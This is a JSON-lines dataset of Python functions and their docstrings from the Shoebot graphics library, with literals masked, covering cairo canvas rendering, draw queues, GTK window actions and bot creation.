{"signature": "@staticmethod<EOL><INDENT>@contextmanager<EOL>def disabled():<DEDENT>", "body": "VarListener.active = False<EOL>yield<EOL>VarListener.active = True<EOL>", "docstring": "Context manager to temporarily disable all listeners\n\n>>> with VarListener.disabled()\n...     pass", "id": "f11512:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>@contextmanager<EOL>def batch(vars, oldvars, ns):<DEDENT>", "body": "snapshot_vars = dict(vars)<EOL>with VarListener.disabled():<EOL><INDENT>yield<EOL><DEDENT>added_vars = set(oldvars.keys()) - set(snapshot_vars.keys())<EOL>deleted_vars = set(snapshot_vars.keys()) - set(oldvars.keys())<EOL>existing_vars = set(vars.keys()) - added_vars - deleted_vars<EOL>for name in existing_vars:<EOL><INDENT>old_var = snapshot_vars[name]<EOL>new_var = vars[name]<EOL>if old_var.type != new_var.type or old_var.min != new_var.min or old_var.max != new_var.max:<EOL><INDENT>deleted_vars.add(name)<EOL>added_vars.add(name)<EOL>if old_var.type == new_var.type:<EOL><INDENT>new_var.value = old_var.value<EOL><DEDENT><DEDENT><DEDENT>for listener in VarListener.listeners:<EOL><INDENT>for name in deleted_vars:<EOL><INDENT>listener.var_deleted(snapshot_vars[name])<EOL>if ns.get(name) is snapshot_vars[name].value:<EOL><INDENT>del ns[name]<EOL><DEDENT><DEDENT>for name in added_vars:<EOL><INDENT>listener.var_added(vars[name])<EOL><DEDENT><DEDENT>", "docstring": "Context manager to only update listeners\nat the end, in the meantime it doesn't\nmatter what intermediate state the vars\nare in (they can be added and removed)\n\n>>> with VarListener.batch()\n...     pass", "id": "f11512:c0:m9"}
{"signature": "def set_callbacks(self, **kwargs):", "body": "for name in self.SUPPORTED_CALLBACKS:<EOL><INDENT>func = kwargs.get(name, getattr(self, name))<EOL>setattr(self, name, func)<EOL><DEDENT>", "docstring": "Set callbacks for input events", "id": "f11513:c0:m1"}
{"signature": "def get_key_down(self):", "body": "return bool(self.keys_pressed)<EOL>", "docstring": "Return True if any key is pressed", "id": "f11513:c0:m2"}
{"signature": "def get_mouse_down(self):", "body": "return bool(self.mouse_buttons_down)<EOL>", "docstring": "Return True if any mouse button is pressed", "id": "f11513:c0:m3"}
{"signature": "def __init__(self, target=None, format=None, multifile=False, buff=None):", "body": "DrawQueueSink.__init__(self)<EOL>if format is None:<EOL><INDENT>if target is not None and format is not '<STR_LIT>':<EOL><INDENT>format = os.path.splitext(target)[<NUM_LIT:1>][<NUM_LIT:1>:].lower()<EOL>self.filename = target<EOL><DEDENT>elif buff is not None:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.file_root, self.file_ext = os.path.splitext(filename)<EOL><DEDENT><DEDENT>self.buff = buff<EOL>self.format = format<EOL>self.target = target<EOL>self.multifile = multifile<EOL>", "docstring": ":param target:  output filename (or cairo surface if format is 'surface')\n:param format:    if filename is specified this is not needed. Can be 'surface' for Cairo surfaces\n:param multifile: If used with filename, then numbered files will be output for each froam.\n:param buff:      optionally a file like object can be used instead of a filename\n                  this is useful for streaming output.", "id": "f11514:c0:m0"}
{"signature": "def _output_file(self, frame):", "body": "if self.buff:<EOL><INDENT>return self.buff<EOL><DEDENT>elif self.multifile:<EOL><INDENT>return self.file_root + \"<STR_LIT>\" % frame + self.file_ext<EOL><DEDENT>else:<EOL><INDENT>return self.filename<EOL><DEDENT>", "docstring": "If filename was used output a filename, along with multifile\nnumbered filenames will be used.\n\nIf buff was specified it is returned.\n\n:return: Output buff or filename.", "id": "f11514:c0:m1"}
{"signature": "def create_rcontext(self, size, frame):", "body": "if self.format == '<STR_LIT>':<EOL><INDENT>surface = cairo.PDFSurface(self._output_file(frame), *size)<EOL><DEDENT>elif self.format in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>surface = cairo.PSSurface(self._output_file(frame), *size)<EOL><DEDENT>elif self.format == '<STR_LIT>':<EOL><INDENT>surface = cairo.SVGSurface(self._output_file(frame), *size)<EOL><DEDENT>elif self.format == '<STR_LIT>':<EOL><INDENT>surface = self.target<EOL><DEDENT>else:<EOL><INDENT>surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, *size)<EOL><DEDENT>return cairo.Context(surface)<EOL>", "docstring": "Called when CairoCanvas needs a cairo context to draw on", "id": "f11514:c0:m2"}
{"signature": "def rendering_finished(self, size, frame, cairo_ctx):", "body": "surface = cairo_ctx.get_target()<EOL>if self.format == '<STR_LIT>':<EOL><INDENT>surface.write_to_png(self._output_file(frame))<EOL><DEDENT>surface.finish()<EOL>surface.flush()<EOL>", "docstring": "Called when CairoCanvas has rendered a bot", "id": "f11514:c0:m3"}
{"signature": "def initial_transform(self):", "body": "return cairo.Matrix()<EOL>", "docstring": "Return an identity matrix", "id": "f11515:c0:m2"}
{"signature": "def output_closure(self, target, file_number=None):", "body": "def output_context(ctx):<EOL><INDENT>target_ctx = target<EOL>target_ctx.set_source_surface(ctx.get_target())<EOL>target_ctx.paint()<EOL>return target_ctx<EOL><DEDENT>def output_surface(ctx):<EOL><INDENT>target_ctx = cairo.Context(target)<EOL>target_ctx.set_source_surface(ctx.get_target())<EOL>target_ctx.paint()<EOL>return target_ctx<EOL><DEDENT>def output_file(ctx):<EOL><INDENT>root, extension = os.path.splitext(target)<EOL>if file_number:<EOL><INDENT>filename = '<STR_LIT>' % (root, file_number, extension)<EOL><DEDENT>else:<EOL><INDENT>filename = target<EOL><DEDENT>extension = extension.lower()<EOL>if extension == '<STR_LIT>':<EOL><INDENT>surface = ctx.get_target()<EOL>surface.write_to_png(target)<EOL><DEDENT>elif extension == '<STR_LIT>':<EOL><INDENT>target_ctx = cairo.Context(cairo.PDFSurface(filename, *self.size_or_default()))<EOL>target_ctx.set_source_surface(ctx.get_target())<EOL>target_ctx.paint()<EOL><DEDENT>elif extension in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>target_ctx = cairo.Context(cairo.PSSurface(filename, *self.size_or_default()))<EOL>if extension == '<STR_LIT>':<EOL><INDENT>target_ctx.set_eps(extension='<STR_LIT>')<EOL><DEDENT>target_ctx.set_source_surface(ctx.get_target())<EOL>target_ctx.paint()<EOL><DEDENT>elif extension == '<STR_LIT>':<EOL><INDENT>target_ctx = cairo.Context(cairo.SVGSurface(filename, *self.size_or_default()))<EOL>target_ctx.set_source_surface(ctx.get_target())<EOL>target_ctx.paint()<EOL><DEDENT>return filename<EOL><DEDENT>if isinstance(target, cairo.Context):<EOL><INDENT>return output_context<EOL><DEDENT>elif isinstance(target, cairo.Surface):<EOL><INDENT>return output_surface<EOL><DEDENT>else:<EOL><INDENT>return output_file<EOL><DEDENT>", "docstring": "Function to output to a cairo surface\n\ntarget is a cairo Context or filename\nif file_number is set, then files will be numbered\n(this is usually set to the current frame number)", "id": "f11515:c0:m17"}
{"signature": "def ctx_render_background(self, cairo_ctx):", "body": "<EOL>cairo_ctx.set_source_rgba(*self.background)<EOL>cairo_ctx.paint()<EOL>", "docstring": "Draws the background colour of the bot", "id": "f11515:c0:m18"}
{"signature": "def append_immediate(self, render_func):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "In implementations of drawqueue that use buffering\nthis will run the whole queue up to this point", "id": "f11517:c0:m1"}
{"signature": "def append(self, render_func):", "body": "self.render_funcs.append(render_func)<EOL>", "docstring": "Add a render function to the queue.", "id": "f11517:c0:m2"}
{"signature": "def render(self, r_context):", "body": "for render_func in self.render_funcs:<EOL><INDENT>render_func(r_context)<EOL><DEDENT>return r_context<EOL>", "docstring": "Call all the render functions with r_context\n\nr_context, is the render_context - Set of\nkeyword args that should make sense to the\ncanvas implementation", "id": "f11517:c0:m3"}
{"signature": "def set_bot(self, bot):", "body": "self.bot = bot<EOL>self.sink.set_bot(bot)<EOL>", "docstring": "Bot must be set before running", "id": "f11518:c0:m1"}
{"signature": "def get_input_device(self):", "body": "return None<EOL>", "docstring": "Overrides can return actual input device", "id": "f11518:c0:m2"}
{"signature": "def initial_drawqueue(self):", "body": "return DrawQueue()<EOL>", "docstring": "Override to create use special kinds of draw queue", "id": "f11518:c0:m3"}
{"signature": "def initial_transform(self):", "body": "pass<EOL>", "docstring": "Must be overriden to create initial transform matrix", "id": "f11518:c0:m4"}
{"signature": "def settings(self, **kwargs):", "body": "for k, v in kwargs.items():<EOL><INDENT>setattr(self, k, v)<EOL><DEDENT>", "docstring": "Pass a load of settings into the canvas", "id": "f11518:c0:m8"}
{"signature": "def size_or_default(self):", "body": "if not self.size:<EOL><INDENT>self.size = self.DEFAULT_SIZE<EOL><DEDENT>return self.size<EOL>", "docstring": "If size is not set, otherwise set size to DEFAULT_SIZE\nand return it.\n\nThis means, only the first call to size() is valid.", "id": "f11518:c0:m9"}
{"signature": "def set_size(self, size):", "body": "if self.size is None:<EOL><INDENT>self.size = size<EOL>return size<EOL><DEDENT>else:<EOL><INDENT>return self.size<EOL><DEDENT>", "docstring": "Size is only set the first time it is called\n\nSize that is set is returned", "id": "f11518:c0:m10"}
{"signature": "def snapshot(self, target, defer=True, file_number=None):", "body": "output_func = self.output_closure(target, file_number)<EOL>if defer:<EOL><INDENT>self._drawqueue.append(output_func)<EOL><DEDENT>else:<EOL><INDENT>self._drawqueue.append_immediate(output_func)<EOL><DEDENT>", "docstring": "Ask the drawqueue to output to target.\n\ntarget can be anything supported by the combination\nof canvas implementation and drawqueue implmentation.\n\nIf target is not supported then an exception is thrown.", "id": "f11518:c0:m13"}
{"signature": "def flush(self, frame):", "body": "self.sink.render(self.size_or_default(), frame, self._drawqueue)<EOL>self.reset_drawqueue()<EOL>", "docstring": "Passes the drawqueue to the sink for rendering", "id": "f11518:c0:m14"}
{"signature": "def deferred_render(self, render_func):", "body": "self._drawqueue.append(render_func)<EOL>", "docstring": "Add a render function to the queue for rendering later", "id": "f11518:c0:m15"}
{"signature": "def render(self, size, frame, drawqueue):", "body": "r_context = self.create_rcontext(size, frame)<EOL>drawqueue.render(r_context)<EOL>self.rendering_finished(size, frame, r_context)<EOL>return r_context<EOL>", "docstring": "Calls implmentation to get a render context,\npasses it to the drawqueues render function\nthen calls self.rendering_finished", "id": "f11519:c0:m1"}
{"signature": "def create_rcontext(self, size, frame):", "body": "pass<EOL>", "docstring": "Returns a cairo context for drawing this\nframe of the bot", "id": "f11519:c0:m2"}
{"signature": "def main_iteration(self):", "body": "pass<EOL>", "docstring": "Called from main loop, if your sink needs to handle GUI events\ndo it here.\n\n:return:", "id": "f11519:c0:m4"}
{"signature": "def next_event(block=False, timeout=None):", "body": "try:<EOL><INDENT>return channel.listen(block=block, timeout=timeout).next()['<STR_LIT:data>']<EOL><DEDENT>except StopIteration:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the next available event or None\n\n:param block:\n:param timeout:\n:return: None or (event, data)", "id": "f11520:m1"}
{"signature": "def event_is(event, event_t):", "body": "return event is not None and event.type == event_t<EOL>", "docstring": "Check if event type\n:param event:   event to compare\n:param event_t: event type\n:return: bool", "id": "f11520:m2"}
{"signature": "def publish_event(event_t, data=None, extra_channels=None, wait=None):", "body": "event = Event(event_t, data)<EOL>pubsub.publish(\"<STR_LIT>\", event)<EOL>for channel_name in extra_channels or []:<EOL><INDENT>pubsub.publish(channel_name, event)<EOL><DEDENT>if wait is not None:<EOL><INDENT>channel = pubsub.subscribe(wait)<EOL>channel.listen(wait)<EOL><DEDENT>", "docstring": "Publish an event ot any subscribers.\n\n:param event_t:  event type\n:param data:     event data\n:param extra_channels:\n:param wait:\n:return:", "id": "f11520:m3"}
{"signature": "def sort_by_preference(options, prefer):", "body": "if not prefer:<EOL><INDENT>return options<EOL><DEDENT>return sorted(options, key=lambda x: (prefer + options).index(x))<EOL>", "docstring": ":param options: List of options\n:param prefer: Prefered options\n:return:\n\nPass in a list of options, return options in 'prefer' first\n\n>>> sort_by_preference([\"cairo\", \"cairocffi\"], [\"cairocffi\"])\n[\"cairocffi\", \"cairo\"]", "id": "f11521:m0"}
{"signature": "def get_driver_options():", "body": "options = os.environ.get(\"<STR_LIT>\")<EOL>if not options:<EOL><INDENT>return {}<EOL><DEDENT>try:<EOL><INDENT>return dict([kv.split('<STR_LIT:=>') for kv in options.split()])<EOL><DEDENT>except ValueError:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\")<EOL>sys.stderr.write(\"<STR_LIT>\")<EOL>sys.stderr.write(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Interpret env var as key=value\n:return:", "id": "f11521:m1"}
{"signature": "def import_libs(self, module_names, impl_name):", "body": "for name in module_names:<EOL><INDENT>try:<EOL><INDENT>module = __import__(name)<EOL>has_module = True<EOL><DEDENT>except ImportError:<EOL><INDENT>module = None<EOL>has_module = False<EOL><DEDENT>setattr(self, name, module)<EOL>setattr(self, '<STR_LIT>' % name, has_module)<EOL><DEDENT>for name in module_names:<EOL><INDENT>try:<EOL><INDENT>return name, __import__(name)<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>raise ImportError('<STR_LIT>' % (impl_name, '<STR_LIT:U+0020>'.join(module_names)))<EOL>", "docstring": "Loop through module_names,\nadd has_.... booleans to class\nset ..._impl to first successful import\n\n:param module_names:  list of module names to try importing\n:param impl_name:  used in error output if no modules succeed\n:return: name, module from first successful implementation", "id": "f11521:c0:m0"}
{"signature": "def ensure_pycairo_context(self, ctx):", "body": "if self.cairocffi and isinstance(ctx, self.cairocffi.Context):<EOL><INDENT>from shoebot.util.cairocffi.cairocffi_to_pycairo import _UNSAFE_cairocffi_context_to_pycairo<EOL>return _UNSAFE_cairocffi_context_to_pycairo(ctx)<EOL><DEDENT>else:<EOL><INDENT>return ctx<EOL><DEDENT>", "docstring": "If ctx is a cairocffi Context convert it to a PyCairo Context\notherwise return the original context\n\n:param ctx:\n:return:", "id": "f11521:c1:m3"}
{"signature": "def create_canvas(src, format=None, outputfile=None, multifile=False, buff=None, window=False, title=None,<EOL>fullscreen=None, show_vars=False):", "body": "from core import CairoCanvas, CairoImageSink <EOL>if outputfile:<EOL><INDENT>sink = CairoImageSink(outputfile, format, multifile, buff)<EOL><DEDENT>elif window or show_vars:<EOL><INDENT>from gui import ShoebotWindow<EOL>if not title:<EOL><INDENT>if src and os.path.isfile(src):<EOL><INDENT>title = os.path.splitext(os.path.basename(src))[<NUM_LIT:0>] + '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>title = '<STR_LIT>'<EOL><DEDENT><DEDENT>sink = ShoebotWindow(title, show_vars, fullscreen=fullscreen)<EOL><DEDENT>else:<EOL><INDENT>if src and isinstance(src, cairo.Surface):<EOL><INDENT>outputfile = src<EOL>format = '<STR_LIT>'<EOL><DEDENT>elif src and os.path.isfile(src):<EOL><INDENT>outputfile = os.path.splitext(os.path.basename(src))[<NUM_LIT:0>] + '<STR_LIT:.>' + (format or '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>outputfile = '<STR_LIT>'<EOL><DEDENT>sink = CairoImageSink(outputfile, format, multifile, buff)<EOL><DEDENT>canvas = CairoCanvas(sink)<EOL>return canvas<EOL>", "docstring": "Create canvas and sink for attachment to a bot\n\ncanvas is what draws images, 'sink' is the final consumer of the images\n\n:param src: Defaults for title or outputfile if not specified.\n\n:param format: CairoImageSink image format, if using buff instead of outputfile\n:param buff: CairoImageSink buffer object to send output to\n\n:param outputfile: CairoImageSink output filename e.g. \"hello.svg\"\n:param multifile: CairoImageSink if True,\n\n:param title: ShoebotWindow - set window title\n:param fullscreen: ShoebotWindow - set window title\n:param show_vars: ShoebotWindow - display variable window\n\nTwo kinds of sink are provided: CairoImageSink and ShoebotWindow\n\nShoebotWindow\n\nDisplays a window to draw shoebot inside.\n\n\nCairoImageSink\n\nOutput to a filename (or files if multifile is set), or a buffer object.", "id": "f11525:m2"}
{"signature": "def create_bot(src=None, grammar=NODEBOX, format=None, outputfile=None, iterations=<NUM_LIT:1>, buff=None, window=False,<EOL>title=None, fullscreen=None, server=False, port=<NUM_LIT>, show_vars=False, vars=None, namespace=None):", "body": "canvas = create_canvas(src, format, outputfile, iterations > <NUM_LIT:1>, buff, window, title, fullscreen=fullscreen,<EOL>show_vars=show_vars)<EOL>if grammar == DRAWBOT:<EOL><INDENT>from shoebot.grammar import DrawBot<EOL>bot = DrawBot(canvas, namespace=namespace, vars=vars)<EOL><DEDENT>else:<EOL><INDENT>from shoebot.grammar import NodeBot<EOL>bot = NodeBot(canvas, namespace=namespace, vars=vars)<EOL><DEDENT>if server:<EOL><INDENT>from shoebot.sbio import SocketServer<EOL>socket_server = SocketServer(bot, \"<STR_LIT>\", port=port)<EOL><DEDENT>return bot<EOL>", "docstring": "Create a canvas and a bot with the same canvas attached to it\n\nbot parameters\n:param grammar: DRAWBOT or NODEBOX - decides what kind of bot is created\n:param vars: preset dictionary of vars from the called\n\ncanvas parameters:\n... everything else ...\n\nSee create_canvas for details on those parameters.", "id": "f11525:m3"}
{"signature": "def run(src,<EOL>grammar=NODEBOX,<EOL>format=None,<EOL>outputfile=None,<EOL>iterations=<NUM_LIT:1>,<EOL>buff=None,<EOL>window=True,<EOL>title=None,<EOL>fullscreen=None,<EOL>close_window=False,<EOL>server=False,<EOL>port=<NUM_LIT>,<EOL>show_vars=False,<EOL>vars=None,<EOL>namespace=None,<EOL>run_shell=False,<EOL>args=[],<EOL>verbose=False,<EOL>background_thread=True):", "body": "<EOL>sys.argv = [sys.argv[<EOL><NUM_LIT:0>]] + args  <EOL>create_args = [src,<EOL>grammar,<EOL>format,<EOL>outputfile,<EOL>iterations,<EOL>buff,<EOL>window,<EOL>title,<EOL>fullscreen,<EOL>server,<EOL>port,<EOL>show_vars]<EOL>create_kwargs = dict(vars=vars, namespace=namespace)<EOL>run_args = [src]<EOL>run_kwargs = dict(<EOL>iterations=iterations,<EOL>frame_limiter=window,<EOL>verbose=verbose,<EOL>run_forever=window and not (close_window or bool(outputfile)),<EOL>)<EOL>if background_thread:<EOL><INDENT>sbot_thread = ShoebotThread(<EOL>create_args=create_args,<EOL>create_kwargs=create_kwargs,<EOL>run_args=run_args,<EOL>run_kwargs=run_kwargs,<EOL>send_sigint=run_shell<EOL>)<EOL>sbot_thread.start()<EOL>sbot = sbot_thread.sbot<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>if run_shell:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>sbot_thread = None<EOL>sbot = create_bot(*create_args, **create_kwargs)<EOL>sbot.run(*run_args, **run_kwargs)<EOL><DEDENT>if run_shell:<EOL><INDENT>import shoebot.sbio.shell<EOL>shell = shoebot.sbio.shell.ShoebotCmd(sbot, trusted=True)<EOL>try:<EOL><INDENT>shell.cmdloop()<EOL><DEDENT>except KeyboardInterrupt as e:<EOL><INDENT>publish_event(QUIT_EVENT)  <EOL>if verbose:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT><DEDENT><DEDENT>elif background_thread:<EOL><INDENT>try:<EOL><INDENT>while sbot_thread.is_alive():<EOL><INDENT>sleep(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>publish_event(QUIT_EVENT)<EOL><DEDENT><DEDENT>if all((background_thread, sbot_thread)):<EOL><INDENT>sbot_thread.join()<EOL><DEDENT>return sbot<EOL>", "docstring": "Create and run a bot, the arguments all correspond to sanitized\ncommandline options.\n\n:param background_thread: If True then use a background thread.\n\n\nOther args are split into create_args and run_args\n\nSee create_bot for details on create_args\n\nrun_args are passed to bot.run - see Nodebot.run or Drawbot.run\n\n\n\nBackground thread:\n\nreadline in python is blocking, running the app in a background\nthread opens up the main thread for IO on stdin/stdout, which\ncan be used for communication with shoebot when livecoding is\nenabled.\n\nSee shoebot.io for implementation of the shell, and the gedit\nplugin for an example of using livecoding.", "id": "f11525:m4"}
{"signature": "def __init__(self, create_args, create_kwargs,<EOL>run_args, run_kwargs,<EOL>send_sigint=False):", "body": "super(ShoebotThread, self).__init__()<EOL>self.bot_ready = threading.Event()<EOL>self.create_args = create_args<EOL>self.create_kwargs = create_kwargs<EOL>self.run_args = run_args<EOL>self.run_kwargs = run_kwargs<EOL>self.send_sigint = send_sigint<EOL>self._sbot = None<EOL>", "docstring": ":param create_args: passed to create_bot\n:param create_kwargs: passed to create_bot\n:param run_args: passed to bot.run\n:param run_kwargs: passed to bot.run\n:param send_sigint: if True then SIGINT will be sent on bot completion\n                    so the main thread can terminate", "id": "f11525:c1:m0"}
{"signature": "@property<EOL><INDENT>def sbot(self):<DEDENT>", "body": "self.bot_ready.wait()<EOL>return self._sbot<EOL>", "docstring": ":return: bot instance for communication", "id": "f11525:c1:m2"}
{"signature": "def error(message):", "body": "global parser<EOL>print (_(\"<STR_LIT>\") + message)<EOL>print ()<EOL>parser.print_help()<EOL>sys.exit()<EOL>", "docstring": "Prints an error message, the help message and quits", "id": "f11526:m1"}
{"signature": "def warn(message):", "body": "print (_(\"<STR_LIT>\") + message)<EOL>", "docstring": "Print a warning message", "id": "f11526:m2"}
{"signature": "def shoebot_example(**shoebot_kwargs):", "body": "def decorator(f):<EOL><INDENT>def run():<EOL><INDENT>from shoebot import ShoebotInstallError  <EOL>print(\"<STR_LIT>\" % f.__name__.replace(\"<STR_LIT:_>\", \"<STR_LIT:U+0020>\"))<EOL>try:<EOL><INDENT>import shoebot<EOL>outputfile = \"<STR_LIT>\" % f.__name__<EOL>bot = shoebot.create_bot(outputfile=outputfile)<EOL>f(bot)<EOL>bot.finish()<EOL>print('<STR_LIT>' % outputfile)<EOL>print('<STR_LIT>')<EOL><DEDENT>except ShoebotInstallError as e:<EOL><INDENT>print('<STR_LIT>', e.args[<NUM_LIT:0>])<EOL>print('<STR_LIT>')<EOL><DEDENT>except Exception:<EOL><INDENT>print('<STR_LIT>')<EOL>for line in traceback.format_exc().splitlines():<EOL><INDENT>print('<STR_LIT>' % line)<EOL><DEDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>return run<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator to run some code in a bot instance.", "id": "f11527:m5"}
{"signature": "def get_key_map(self):", "body": "kdict = {}<EOL>for gdk_name in dir(Gdk):<EOL><INDENT>nb_name = gdk_name.upper()<EOL>kdict[nb_name] = getattr(Gdk, gdk_name)<EOL><DEDENT>return kdict<EOL>", "docstring": "Return a dict in the form of\n\nSHOEBOT_KEY_NAME, GTK_VALUE\n\nShoebot key names look like KEY_LEFT, whereas Gdk uses KEY_Left\n- Shoebot key names are derived from Nodebox 1, which was a mac\n  app.", "id": "f11528:c0:m8"}
{"signature": "def scale_context_and_center(self, cr):", "body": "bot_width, bot_height = self.bot_size<EOL>if self.width != bot_width or self.height != bot_height:<EOL><INDENT>if self.width < self.height:<EOL><INDENT>scale_x = float(self.width) / float(bot_width)<EOL>scale_y = scale_x<EOL>cr.translate(<NUM_LIT:0>, (self.height - (bot_height * scale_y)) / <NUM_LIT>)<EOL><DEDENT>elif self.width > self.height:<EOL><INDENT>scale_y = float(self.height) / float(bot_height)<EOL>scale_x = scale_y<EOL>cr.translate((self.width - (bot_width * scale_x)) / <NUM_LIT>, <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>scale_x = <NUM_LIT:1.0><EOL>scale_y = <NUM_LIT:1.0><EOL><DEDENT>cr.scale(scale_x, scale_y)<EOL>self.input_device.scale_x = scale_y<EOL>self.input_device.scale_y = scale_y<EOL><DEDENT>", "docstring": "Scale context based on difference between bot size and widget", "id": "f11529:c1:m3"}
{"signature": "def draw(self, widget, cr):", "body": "if self.bot_size is None:<EOL><INDENT>self.draw_default_image(cr)<EOL>return<EOL><DEDENT>cr = driver.ensure_pycairo_context(cr)<EOL>surface = self.backing_store.surface<EOL>cr.set_source_surface(surface)<EOL>cr.paint()<EOL>", "docstring": "Draw just the exposed part of the backing store, scaled to fit", "id": "f11529:c1:m4"}
{"signature": "def create_rcontext(self, size, frame):", "body": "self.frame = frame<EOL>width, height = size<EOL>meta_surface = cairo.RecordingSurface(cairo.CONTENT_COLOR_ALPHA, (<NUM_LIT:0>, <NUM_LIT:0>, width, height))<EOL>ctx = cairo.Context(meta_surface)<EOL>return ctx<EOL>", "docstring": "Creates a recording surface for the bot to draw on\n\n:param size: The width and height of bot", "id": "f11529:c1:m5"}
{"signature": "def do_drawing(self, size, frame, cairo_ctx):", "body": "if self.get_window() and not self.bot_size:<EOL><INDENT>self.set_size_request(*size)<EOL><DEDENT>self.bot_size = size<EOL>self.backing_store = BackingStore.get_backingstore(self.width, self.height)<EOL>cr = pycairo.Context(self.backing_store.surface)<EOL>if self.scale_fit:<EOL><INDENT>self.scale_context_and_center(cr)<EOL><DEDENT>cairo_ctx = driver.ensure_pycairo_context(cairo_ctx)<EOL>cr.set_source_surface(cairo_ctx.get_target())<EOL>cr.set_operator(cairo.OPERATOR_SOURCE)<EOL>cr.paint()<EOL>self.queue_draw()<EOL>while Gtk.events_pending():<EOL><INDENT>Gtk.main_iteration_do(False)<EOL><DEDENT>", "docstring": "Update the backing store from a cairo context and\nschedule a redraw (expose event)\n\n:param size: width, height in pixels of bot\n:param frame: frame # thar was drawn\n:param cairo_ctx: cairo context the bot was drawn on", "id": "f11529:c1:m6"}
{"signature": "def gtk_mouse_button_down(self, widget, event):", "body": "if self.menu_enabled and event.button == <NUM_LIT:3>:<EOL><INDENT>menu = self.uimanager.get_widget('<STR_LIT>')<EOL>menu.popup(None, None, None, None, event.button, event.time)<EOL><DEDENT>else:<EOL><INDENT>super(ShoebotWindow, self).gtk_mouse_button_down(widget, event)<EOL><DEDENT>", "docstring": "Handle right mouse button clicks", "id": "f11530:c0:m1"}
{"signature": "def create_rcontext(self, size, frame):", "body": "return self.sb_widget.create_rcontext(size, frame)<EOL>", "docstring": "Delegates to the sb_widget", "id": "f11530:c0:m3"}
{"signature": "def show_variables_window(self):", "body": "if self.var_window is None and self.bot._vars:<EOL><INDENT>self.var_window = VarWindow(self, self.bot, '<STR_LIT>' % (self.title or '<STR_LIT>'))<EOL>self.var_window.window.connect(\"<STR_LIT>\", self.var_window_closed)<EOL><DEDENT>", "docstring": "Show the variables window.", "id": "f11530:c0:m4"}
{"signature": "def hide_variables_window(self):", "body": "if self.var_window is not None:<EOL><INDENT>self.var_window.window.destroy()<EOL>self.var_window = None<EOL><DEDENT>", "docstring": "Hide the variables window", "id": "f11530:c0:m5"}
{"signature": "def var_window_closed(self, widget):", "body": "<EOL>self.action_group.get_action('<STR_LIT>').set_active(False)<EOL>self.show_vars = False<EOL>self.var_window = None<EOL>", "docstring": "Called if user clicked close button on var window\n:param widget:\n:return:", "id": "f11530:c0:m6"}
{"signature": "def schedule_snapshot(self, format):", "body": "bot = self.bot<EOL>canvas = self.bot.canvas<EOL>script = bot._namespace['<STR_LIT>']<EOL>if script:<EOL><INDENT>filename = os.path.splitext(script)[<NUM_LIT:0>] + '<STR_LIT:.>' + format<EOL><DEDENT>else:<EOL><INDENT>filename = '<STR_LIT>' + format<EOL><DEDENT>f = canvas.output_closure(filename, self.bot._frame)<EOL>self.scheduled_snapshots.append(f)<EOL>", "docstring": "Tell the canvas to perform a snapshot when it's finished rendering\n:param format:\n:return:", "id": "f11530:c0:m8"}
{"signature": "def snapshot_svg(self, widget):", "body": "self.schedule_snapshot('<STR_LIT>')<EOL>", "docstring": "Save an SVG file after drawing is complete.", "id": "f11530:c0:m9"}
{"signature": "def snapshot_ps(self, widget):", "body": "self.schedule_snapshot('<STR_LIT>')<EOL>", "docstring": "Save an Postscript file after drawing is complete.", "id": "f11530:c0:m10"}
{"signature": "def snapshot_pdf(self, widget):", "body": "self.schedule_snapshot('<STR_LIT>')<EOL>", "docstring": "Save a PDF file after drawing is complete.", "id": "f11530:c0:m11"}
{"signature": "def snapshot_png(self, widget):", "body": "self.schedule_snapshot('<STR_LIT>')<EOL>", "docstring": "Save an PNG file after drawing is complete.", "id": "f11530:c0:m12"}
{"signature": "def trigger_fullscreen_action(self, fullscreen):", "body": "action = self.action_group.get_action('<STR_LIT>')<EOL>action.set_active(fullscreen)<EOL>", "docstring": "Toggle fullscreen from outside the GUI,\ncauses the GUI to updated and run all its actions.", "id": "f11530:c0:m13"}
{"signature": "def do_fullscreen(self, widget):", "body": "self.fullscreen()<EOL>self.is_fullscreen = True<EOL>while Gtk.events_pending():<EOL><INDENT>Gtk.main_iteration()<EOL><DEDENT>self.bot._screen_width = Gdk.Screen.width()<EOL>self.bot._screen_height = Gdk.Screen.height()<EOL>self.bot._screen_ratio = self.bot._screen_width / self.bot._screen_height<EOL>", "docstring": "Widget Action to Make the window fullscreen and update the bot.", "id": "f11530:c0:m14"}
{"signature": "def do_unfullscreen(self, widget):", "body": "self.unfullscreen()<EOL>self.is_fullscreen = False<EOL>self.bot._screen_ratio = None<EOL>", "docstring": "Widget Action to set Windowed Mode.", "id": "f11530:c0:m15"}
{"signature": "def do_window_close(self, widget, data=None):", "body": "publish_event(QUIT_EVENT)<EOL>if self.has_server:<EOL><INDENT>self.sock.close()<EOL><DEDENT>self.hide_variables_window()<EOL>self.destroy()<EOL>self.window_open = False<EOL>", "docstring": "Widget Action to Close the window, triggering the quit event.", "id": "f11530:c0:m16"}
{"signature": "def do_toggle_fullscreen(self, action):", "body": "is_fullscreen = action.get_active()<EOL>if is_fullscreen:<EOL><INDENT>self.fullscreen()<EOL><DEDENT>else:<EOL><INDENT>self.unfullscreen()<EOL><DEDENT>", "docstring": "Widget Action to Toggle fullscreen from the GUI", "id": "f11530:c0:m17"}
